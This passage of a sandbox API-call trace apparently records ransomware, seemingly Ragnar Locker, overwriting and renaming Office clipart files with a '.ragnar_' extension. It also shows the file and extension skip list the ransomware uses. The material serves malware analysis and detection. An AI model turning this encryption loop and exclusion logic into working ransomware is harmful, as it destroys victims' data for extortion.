[0084.921] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.922] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1208) returned 1 [0084.922] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.922] GetProcessHeap () returned 0x580000 [0084.922] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.922] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.923] VirtualAlloc (lpAddress=0x0, dwSize=0x4b8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.924] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.924] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.924] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4b8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4b8, lpOverlapped=0x0) returned 1 [0084.924] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.924] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.924] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4b8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4b8, lpOverlapped=0x0) returned 1 [0084.924] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.924] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.924] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.924] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.924] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.924] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.925] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.925] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.925] GetProcessHeap () returned 0x580000 [0084.925] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.925] CloseHandle (hObject=0xf4) returned 1 [0084.925] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" [0084.925] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.ragnar_FD7BD9FC" [0084.925] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.926] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152702.WMF", cAlternateFileName="")) returned 1 [0084.926] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.926] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152702.WMF" | out: lpString1="J0152702.WMF") returned="J0152702.WMF" [0084.926] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned=".WMF" [0084.926] lstrcmpiW (lpString1="J0152702.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.926] lstrcmpiW (lpString1="J0152702.WMF", lpString2="autorun.inf") returned 1 [0084.926] lstrcmpiW (lpString1="J0152702.WMF", lpString2="boot.ini") returned 1 [0084.926] lstrcmpiW (lpString1="J0152702.WMF", lpString2="bootfont.bin") returned 1 [0084.926] lstrcmpiW (lpString1="J0152702.WMF", lpString2="bootsect.bak") returned 1 [0084.926] lstrcmpiW (lpString1="J0152702.WMF", lpString2="bootmgr") returned 1 [0084.926] lstrcmpiW (lpString1="J0152702.WMF", lpString2="bootmgr.efi") returned 1 [0084.926] lstrcmpiW (lpString1="J0152702.WMF", lpString2="bootmgfw.efi") returned 1 [0084.926] lstrcmpiW (lpString1="J0152702.WMF", lpString2="desktop.ini") returned 1 [0084.926] lstrcmpiW (lpString1="J0152702.WMF", lpString2="iconcache.db") returned 1 [0084.926] lstrcmpiW (lpString1="J0152702.WMF", lpString2="ntldr") returned -1 [0084.926] lstrcmpiW (lpString1="J0152702.WMF", lpString2="ntuser.dat") returned -1 [0084.926] lstrcmpiW (lpString1="J0152702.WMF", lpString2="ntuser.dat.log") returned -1 [0084.926] lstrcmpiW (lpString1="J0152702.WMF", lpString2="ntuser.ini") returned -1 [0084.926] lstrcmpiW (lpString1="J0152702.WMF", lpString2="thumbs.db") returned -1 [0084.926] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.926] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.926] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.926] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.926] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.926] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.926] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf")) returned 0x20 [0084.927] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.927] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1208) returned 1 [0084.927] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.927] GetProcessHeap () returned 0x580000 [0084.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.928] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.929] VirtualAlloc (lpAddress=0x0, dwSize=0x4b8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.929] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.929] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.929] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4b8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4b8, lpOverlapped=0x0) returned 1 [0084.929] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.929] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.929] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4b8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4b8, lpOverlapped=0x0) returned 1 [0084.930] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.930] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.930] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.930] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.930] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.930] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.930] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.930] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.930] GetProcessHeap () returned 0x580000 [0084.930] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.930] CloseHandle (hObject=0xf4) returned 1 [0084.930] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" [0084.930] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.ragnar_FD7BD9FC" [0084.930] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.931] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x674, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152704.WMF", cAlternateFileName="")) returned 1 [0084.931] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.931] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152704.WMF" | out: lpString1="J0152704.WMF") returned="J0152704.WMF" [0084.931] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned=".WMF" [0084.931] lstrcmpiW (lpString1="J0152704.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.931] lstrcmpiW (lpString1="J0152704.WMF", lpString2="autorun.inf") returned 1 [0084.931] lstrcmpiW (lpString1="J0152704.WMF", lpString2="boot.ini") returned 1 [0084.931] lstrcmpiW (lpString1="J0152704.WMF", lpString2="bootfont.bin") returned 1 [0084.932] lstrcmpiW (lpString1="J0152704.WMF", lpString2="bootsect.bak") returned 1 [0084.932] lstrcmpiW (lpString1="J0152704.WMF", lpString2="bootmgr") returned 1 [0084.932] lstrcmpiW (lpString1="J0152704.WMF", lpString2="bootmgr.efi") returned 1 [0084.932] lstrcmpiW (lpString1="J0152704.WMF", lpString2="bootmgfw.efi") returned 1 [0084.932] lstrcmpiW (lpString1="J0152704.WMF", lpString2="desktop.ini") returned 1 [0084.932] lstrcmpiW (lpString1="J0152704.WMF", lpString2="iconcache.db") returned 1 [0084.932] lstrcmpiW (lpString1="J0152704.WMF", lpString2="ntldr") returned -1 [0084.932] lstrcmpiW (lpString1="J0152704.WMF", lpString2="ntuser.dat") returned -1 [0084.932] lstrcmpiW (lpString1="J0152704.WMF", lpString2="ntuser.dat.log") returned -1 [0084.932] lstrcmpiW (lpString1="J0152704.WMF", lpString2="ntuser.ini") returned -1 [0084.932] lstrcmpiW (lpString1="J0152704.WMF", lpString2="thumbs.db") returned -1 [0084.932] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.932] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.932] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.932] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.932] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.932] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.932] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf")) returned 0x20 [0084.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.932] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1652) returned 1 [0084.932] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x66b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.933] GetProcessHeap () returned 0x580000 [0084.933] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.933] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.934] VirtualAlloc (lpAddress=0x0, dwSize=0x674, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.934] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.934] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.934] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x674, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x674, lpOverlapped=0x0) returned 1 [0084.935] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.935] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x674, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.935] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x674, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x674, lpOverlapped=0x0) returned 1 [0084.935] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x674, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.935] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.935] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.935] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.935] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.935] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.935] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.936] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.936] GetProcessHeap () returned 0x580000 [0084.936] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.936] CloseHandle (hObject=0xf4) returned 1 [0084.936] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" [0084.936] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.ragnar_FD7BD9FC" [0084.936] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.936] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x132c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152708.WMF", cAlternateFileName="")) returned 1 [0084.936] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.936] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152708.WMF" | out: lpString1="J0152708.WMF") returned="J0152708.WMF" [0084.936] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned=".WMF" [0084.936] lstrcmpiW (lpString1="J0152708.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.936] lstrcmpiW (lpString1="J0152708.WMF", lpString2="autorun.inf") returned 1 [0084.936] lstrcmpiW (lpString1="J0152708.WMF", lpString2="boot.ini") returned 1 [0084.937] lstrcmpiW (lpString1="J0152708.WMF", lpString2="bootfont.bin") returned 1 [0084.937] lstrcmpiW (lpString1="J0152708.WMF", lpString2="bootsect.bak") returned 1 [0084.937] lstrcmpiW (lpString1="J0152708.WMF", lpString2="bootmgr") returned 1 [0084.937] lstrcmpiW (lpString1="J0152708.WMF", lpString2="bootmgr.efi") returned 1 [0084.937] lstrcmpiW (lpString1="J0152708.WMF", lpString2="bootmgfw.efi") returned 1 [0084.937] lstrcmpiW (lpString1="J0152708.WMF", lpString2="desktop.ini") returned 1 [0084.937] lstrcmpiW (lpString1="J0152708.WMF", lpString2="iconcache.db") returned 1 [0084.937] lstrcmpiW (lpString1="J0152708.WMF", lpString2="ntldr") returned -1 [0084.937] lstrcmpiW (lpString1="J0152708.WMF", lpString2="ntuser.dat") returned -1 [0084.937] lstrcmpiW (lpString1="J0152708.WMF", lpString2="ntuser.dat.log") returned -1 [0084.937] lstrcmpiW (lpString1="J0152708.WMF", lpString2="ntuser.ini") returned -1 [0084.937] lstrcmpiW (lpString1="J0152708.WMF", lpString2="thumbs.db") returned -1 [0084.937] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.937] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.937] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.937] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.937] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.937] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.937] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf")) returned 0x20 [0084.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.937] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4908) returned 1 [0084.938] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1323, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.938] GetProcessHeap () returned 0x580000 [0084.938] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.938] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.939] VirtualAlloc 